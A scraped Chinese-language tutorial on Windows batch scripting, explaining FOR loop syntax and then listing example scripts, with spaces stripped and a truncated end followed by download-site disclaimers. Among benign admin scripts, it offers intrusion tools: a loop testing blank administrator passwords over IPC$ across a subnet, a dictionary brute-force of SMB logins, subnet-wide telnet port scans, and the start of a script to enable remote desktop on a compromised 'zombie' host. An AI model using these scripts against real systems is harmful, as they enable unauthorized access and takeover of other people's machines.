行行的文字,然后將每行解析成零或更多的符號。然后用已找到的符號字符串變量值調(diào)用For循環(huán)。以默認(rèn)方式,/F通過每個(gè)文件的每一行中分開的第一個(gè)空白符號。跳過空白行。您可通過指定可選"options"參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號的字符串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:eol=c-指一個(gè)行注釋字符的結(jié)尾(就一個(gè))skip=n-指在文件開始時(shí)忽略的行數(shù)。delims=xxx-指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。tokens=x,y,m-n-指每行的哪一個(gè)符號被傳遞到每個(gè)迭代的for本身。這會導(dǎo)致額外變量名稱的分配。m-n格式為一個(gè)范圍。通過nth符號指定mth。如果符號字符串中的最后一個(gè)字符星號,那么額外的變量將在最后一個(gè)符號解析之后分配并接受行的保留文本。usebackq-指定新語法已在下類情況中使用:在作為命令執(zhí)行一個(gè)后引號的字符串并且一個(gè)單引號字符為文字字符串命令并允許在filenameset中使用雙引號擴(kuò)起文件名稱。某些范例可能有助:FOR/F"eol=;tokens=2,3*delims=,"%iin(myfile.txt)do@echo%i%j%k會分析myfile.txt中的每一行,忽略以分號打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號傳遞給for程序體;用逗號和/或空格定界符號。請注意,這個(gè)for程序體的語句引用%i來取得第二個(gè)符號,引用%j來取得第三個(gè)符號,引用%k來取得第三個(gè)符號后的所有剩余符號。對于帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用usebackq選項(xiàng),否則,雙引號會被理解成是用作定義某個(gè)要分析的字符串的。%i專門在for語句中得到說明,%j和%k是通過tokens=選項(xiàng)專門得到說明的。您可以通過tokens=一行指定最多26個(gè)符號,只要不試圖說明一個(gè)高于字母'z'或'Z'的變量。請記住,F(xiàn)OR變量是單一字母、分大小寫和全局的;而且,同時(shí)不能有52個(gè)以上都在使用中。您還可以在相鄰字符串上使用FOR/F分析邏輯;方法是,用單引號將括號之間的filenameset括起來。這樣,該字符串會被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。最后,您可以用FOR/F命令來分析命令的輸出。方法是,將括號之間的filenameset變成一個(gè)反括字符串。該字符串會被當(dāng)作命令行,傳遞到一個(gè)子CMD.EXE,其輸出會被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i會枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。另外,F(xiàn)OR變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列選項(xiàng)語法:~I-刪除任何引號("),擴(kuò)充%I%~fI-將%I擴(kuò)充到一個(gè)完全合格的路徑名%~dI-僅將%I擴(kuò)充到一個(gè)驅(qū)動器號%~pI-僅將%I擴(kuò)充到一個(gè)路徑%~nI-僅將%I擴(kuò)充到一個(gè)文件名%~xI-僅將%I擴(kuò)充到一個(gè)文件擴(kuò)展名%~sI-擴(kuò)充的路徑只含有短名%~aI-將%I擴(kuò)充到文件的文件屬性%~tI-將%I擴(kuò)充到文件的日期/時(shí)間%~zI-將%I擴(kuò)充到文件的大小%~$PATH-查找列在路徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量名未被定義,或者沒有找到文件,此組合鍵會擴(kuò)充到空字符串可以組合修飾符來得到多重結(jié)果:%~dpI-僅將%I擴(kuò)充到一個(gè)驅(qū)動器號和路徑%~nxI-僅將%I擴(kuò)充到一個(gè)文件名和擴(kuò)展名%~fsI-僅將%I擴(kuò)充到一個(gè)帶有短名的完整路徑名%~dp$PATH:i-查找列在路徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)驅(qū)動器號和路徑。%~ftzaI-將%I擴(kuò)充到類似輸出線路的DIR在以上例子中,%I和PATH可用其他有效數(shù)值代替。%~語法用一個(gè)有效的FOR變量名終止。選取類似%I的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。FOR/參數(shù)%variableIN(set)DOcommand[command_parameters]%variable:指定一個(gè)單一字母可替換的參數(shù),如:%i,而指定一個(gè)變量則用:%%i,而調(diào)用變量時(shí)用:%i%,變量是區(qū)分大小寫的(%i不等于%I)。批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值。例:netuse\\ip\ipc$pass/user:user中ip為%1,pass為%2,user為%3(set):指定一個(gè)或一組文件,可用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一個(gè)"1"指起始值,第二個(gè)"1"指增長量,第三個(gè)"254"指結(jié)束值,即:從1到254;“(1-1254)”說明:即從254到1}command:指定對第個(gè)文件執(zhí)行的命令,如:netuse命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:&來隔開command_parameters:為特定命令指定參數(shù)或命令行開關(guān)只要參數(shù)在for指定的集合內(nèi),則條件成立,執(zhí)行命令。如:批處理文件中有一行:for%%cin(*.bat*.txt)dotype%%c含義是如果是以bat或txt結(jié)尾的文件,則顯示文件的內(nèi)容。IN(set):指在(set)中取值;DOcommand:指執(zhí)行command參數(shù):/L指用增量形式{(set)為增量形式時(shí)};/F指從文件中不斷取值,直到取完為止{(set)為文件時(shí),如(d:\pass.txt)時(shí)}。用法舉例:@echooffecho用法格式:test.bat*.*.*>test.txtfor/L%%Gin(11254)doecho%1.%%G>>test.txt&netuse\\%1.%%G/user:administrator|find"命令成功完成">>test.txt存為test.bat說明:對指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認(rèn)的%1;%%G為變量(ip的最后一位);&用來隔開echo和netuse這二個(gè)命令;|指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G為完整的IP地址;(11254)指起始值,增長量,結(jié)止值。@echooffecho用法格式:ok.batipFOR/F%%iIN(D:\user.dic)DOsmb.exe%1%%iD:\pass.dic200存為:ok.exe說明:輸入一個(gè)IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認(rèn))。批處理應(yīng)用范例網(wǎng)管一般都使用軟件來實(shí)現(xiàn)對Win2000局域網(wǎng)的管理,本文將介紹用Win2000的命令模式結(jié)合批處理來實(shí)現(xiàn)批量分發(fā)文件和批量禁止服務(wù)。1、批量分發(fā)文件目標(biāo):替換用戶HOSTS文件方法1For%%Bin123donetusez\\192.168.0.%%B\admin$\system32\DRIVERS\ETC“admin密碼”/useradministrator©d\hostsz\/y&netusez/del/y方法2For%%Bin123donetuse\\192.168.0.%%B\ipc$“admin密碼”/useradministrator©d\hosts\\192.168.0.%%B\admin$\system32\DRIVERS\ETC/y&netuse\\192.168.0.%%B\ipc$/del2、批量禁止用戶Messenger服務(wù)For%%Bin123donetuse\\192.168.0.%%B\ipc$“admin密碼”/useradministrator&sc.exe\\192.168.0.%%BstopMessenger&sc.exe\\192.168.0.%%BconfigMessengerstart=disabled&netuse\\192.168.0.$$B\ipc$/del說明:上例是對IP為~的主機(jī)進(jìn)行操作,Command1和Command2用來分隔一個(gè)命令行中的多個(gè)命令。Cmd.exe運(yùn)行第一個(gè)命令,然后運(yùn)行第二個(gè)命令。sc.exe命令可以實(shí)現(xiàn)設(shè)置服務(wù)啟動或關(guān)閉,此文件可以在Win2000的system32目錄下找到。詳細(xì)的可查Win2000的幫助。3、將C盤轉(zhuǎn)換NTFS格式@ECHOOFF@ECHO.@ECHO.說明@ECHO@ECHONTFS格式是WinXP推薦使用的格式。轉(zhuǎn)換為NTFS格式能提高硬盤存儲的@ECHO效率,并可設(shè)置訪問權(quán)限以保護(hù)文件。但NTFS格式的分區(qū)在DOS/WIN9X@ECHO下均不能被識別,可能會給初級用戶造成不便。如無必要請不要轉(zhuǎn)換。@ECHO@ECHO.convertc:/fs:ntfs4、DOS命令掃描一個(gè)網(wǎng)段的全部端口注:只能在win2000下使用在win2000下開一個(gè)dos窗口,然后執(zhí)行for/l%ain(1,1,254)dostart/min/lowtelnet192.168.0.%a3389這樣192.168.0.x這個(gè)段的所有開放3389端口得主機(jī)都會暴露。這條命令執(zhí)行后會在任務(wù)欄開254個(gè)小窗口然后telnet鏈接失敗的窗口會在大約5秒后自動退出剩下的窗口就是相對應(yīng)開放端口的主機(jī)了看一下小窗口的標(biāo)題可以得知主機(jī)的ip地址如果你覺得機(jī)器性能很好的話可以把/low參數(shù)去了現(xiàn)在掃描一臺主機(jī)的多個(gè)端口,如下for/l%ain(1,1,65535)dostart/low/mintelnet%a這樣就掃描的1到65535端口現(xiàn)在掃描一個(gè)網(wǎng)段的所有端口for/l%ain(1,1,254)dofor/l%bin(1,1,65535)dostart/low/mintelnet192.168.0.%a%b這樣就會掃描192.168.0.x段的全部1到65535段口以上命令只能在win2000下使用,因?yàn)?l累加參數(shù)是win2000對for的擴(kuò)展。當(dāng)然winXP和win.NET都可以用,winME我沒有試過,因?yàn)闆]有winME的機(jī)器。5、WINXP原本的各項(xiàng)服務(wù)scconfigAlerterstart=DISABLEDscconfigALGstart=DEMANDscconfigAppMgmtstart=DEMANDscconfigAudioSrvstart=AUTOscconfigBITSstart=DEMANDscconfigBrowserstart=AUTOscconfigCiSvcstart=DEMANDscconfigClipSrvstart=DISABLEDscconfigCOMSysAppstart=DEMANDscconfigCryptSvcstart=AUTOscconfigDcomLaunchstart=AUTOscconfigDhcpstart=AUTOscconfigdmadminstart=DEMANDscconfigdmserverstart=AUTOscconfigDnscachestart=AUTOscconfigERSvcstart=AUTOscconfigEventlogstart=AUTOscconfigEventSystemstart=DEMANDscconfigFastUserSwitchingCompatibilitystart=DEMANDscconfighelpsvcstart=AUTOscconfigHidServstart=DISABLEDscconfigHTTPFilterstart=DEMANDscconfigImapiServicestart=DEMANDscconfiglanmanserverstart=AUTOscconfiglanmanworkstationstart=AUTOscconfigLmHostsstart=AUTOscconfigMessengerstart=DISABLEDscconfigmnmsrvcstart=DEMANDscconfigMSDTCstart=DEMANDscconfigMSIServerstart=DEMANDscconfigNetDDEstart=DISABLEDscconfigNetDDEdsdmstart=DISABLEDscconfigNetlogonstart=DEMANDscconfigNetmanstart=DEMANDscconfigNlastart=DEMANDscconfigNtLmSspstart=DEMANDscconfigNtmsSvcstart=DEMANDscconfigPlugPlaystart=AUTOscconfigPolicyAgentstart=AUTOscconfigProtectedStoragestart=AUTOscconfigRasAutostart=DEMANDscconfigRasManstart=DEMANDscconfigRDSessMgrstart=DEMANDscconfigRemoteAccessstart=DISABLEDscconfigRemoteRegistrystart=AUTOscconfigRpcLocatorstart=DEMANDscconfigRpcSsstart=AUTOscconfigRSVPstart=DEMANDscconfigSamSsstart=AUTOscconfigSCardSvrstart=DEMANDscconfigSchedulestart=AUTOscconfigseclogonstart=AUTOscconfigSENSstart=AUTOscconfigSharedAccessstart=AUTOscconfigShellHWDetectionstart=AUTOscconfigSpoolerstart=AUTOscconfigsrservicestart=DISABLEDscconfigSSDPSRVstart=DEMANDscconfigstisvcstart=DEMANDscconfigSwPrvstart=DEMANDscconfigSysmonLogstart=DEMANDscconfigTapiSrvstart=DEMANDscconfigTermServicestart=DEMANDscconfigThemesstart=AUTOscconfigTlntSvrstart=DISABLEDscconfigTrkWksstart=AUTOscconfigUMWdfstart=DEMANDscconfigupnphoststart=DEMANDscconfigUPSstart=DEMANDscconfigVSSstart=DEMANDscconfigW32Timestart=AUTOscconfigWebClientstart=AUTOscconfigwinmgmtstart=AUTOscconfigWmdmPmSNstart=DEMANDscconfigWmistart=DEMANDscconfigWmiApSrvstart=DEMANDscconfigwscsvcstart=AUTOscconfigwuauservstart=AUTOscconfigWZCSVCstart=AUTOscconfigxmlprovstart=DEMAND6、給每個(gè)盤添加卷標(biāo)@ECHOOFF@ECHO.@ECHO.說明@ECHO@ECHO此命令將為本機(jī)每個(gè)盤都添加上卷標(biāo),一般是用在新機(jī)上面。@ECHO以引導(dǎo)初學(xué)者更合理地支配他們的硬盤空間。事情微小,但@ECHO能體現(xiàn)裝機(jī)者專業(yè)細(xì)致的辦事態(tài)度。@ECHOPAUSEc:labelc:WINXPlabeld:軟件labele:影視labelf:游戲labelg:資料labelh:備份d:md本機(jī)驅(qū)動程序md本機(jī)驅(qū)動程序\0.DirectXmd本機(jī)驅(qū)動程序\1.主板芯片組md本機(jī)驅(qū)動程序\2.顯卡md本機(jī)驅(qū)動程序\3.聲卡md本機(jī)驅(qū)動程序\4.網(wǎng)卡md本機(jī)驅(qū)動程序\5.攝像頭7、一鍵清理系統(tǒng)垃圾@echooffecho正在清理系統(tǒng)垃圾文件,請稍等del/f/s/q%systemdrive%\*.tmpdel/f/s/q%systemdrive%\*._mpdel/f/s/q%systemdrive%\*.logdel/f/s/q%systemdrive%\*.giddel/f/s/q%systemdrive%\*.chkdel/f/s/q%systemdrive%\*.olddel/f/s/q%systemdrive%\recycled\*.*del/f/s/q%windir%\*.bakdel/f/s/q%windir%\prefetch\*.*rd/s/q%windir%\temp&md%windir%\tempdel/f/q%userprofile%\cookies\*.*del/f/q%userprofile%\recent\*.*del/f/s/q"%userprofile%\LocalSettings\TemporaryInternetFiles\*.*"del/f/s/q"%userprofile%\LocalSettings\Temp\*.*"del/f/s/q"%userprofile%\recent\*.*"echo清理系統(tǒng)垃圾完成!echo.&pause8、清除所有多余的右鍵菜單@ECHOOFF@ECHO.@ECHO.@ECHO.說明@ECHO@ECHO很多顯卡在裝了驅(qū)動之后,桌面右鍵會多出一項(xiàng)或多項(xiàng)菜單,這些功能并不實(shí)用,@ECHO還會拖慢右鍵的彈出速度,以Intel的集成顯卡為甚。遲純的反應(yīng)速度嚴(yán)重地影響@ECHO了使用者的心情。我們最好清除它?!禛hostXP電腦公司特別版》作者編。@ECHOPAUSEregsvr32/u/sigfxpph.dllregdeleteHKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers/fregaddHKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new/ve/d{D969A300-E7FF-11d0-A93B-00A0CregdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/vHotKeysCmds/fregdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/vIgfxTray/f9、清除所有多余的啟動項(xiàng)目@ECHOOFF@ECHO.@ECHO.說明@ECHO@ECHO本批處理會自動清理所有非必要的啟動項(xiàng)目,僅保留輸入法(ctfmon)。@ECHO目的是減少不必要的資源占用,使系統(tǒng)運(yùn)行順暢。但清理掉的項(xiàng)目不作@ECHO備份,請小心使用。@ECHOPAUSEregdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/va/fregdeleteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run/va/fregaddHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run/vctfmon.exe/dC:\WINDOWS\system32\ctfmon.exeregdelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg"/fregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vcommand/d""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE"/Spoil/RemAdvDef/Migration32"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vitem/dIMJPMIGregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\Runregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vcommand/d"C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE/IMEName"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vitem/dTINTSETPregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\Runregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vcommand/d""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE"/Spoil/RemAdvDef/Migration32"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vitem/dTINTSETPregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\Rundel"C:\DocumentsandSettings\AllUsers\「開始」菜單\程序\啟動\*.*"/q/fdel"C:\DocumentsandSettings\DefaultUser\「開始」菜單\程序\啟動\*.*"/q/fdel"%userprofile%\「開始」菜單\程序\啟動\*.*"/q/fstartC:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe10、批處理開3389注:每一步必須寫成一個(gè)批處理文件。使用方法:open3389.bat肉雞的IP肉雞的ADMIN組的用戶用戶的密碼open3389.batIPUSER第一步:(在本機(jī)上開3389)c:\>echo[Components]>c:\rockc:\>echoTSEnable=on>>c:\rockc:\>sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\rock/q第二步:(輔助程序3389.bat)@echo[Components]>c:\sql@echoTSEnable=on>>c:\sql@sysocmgr/i:c:\

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論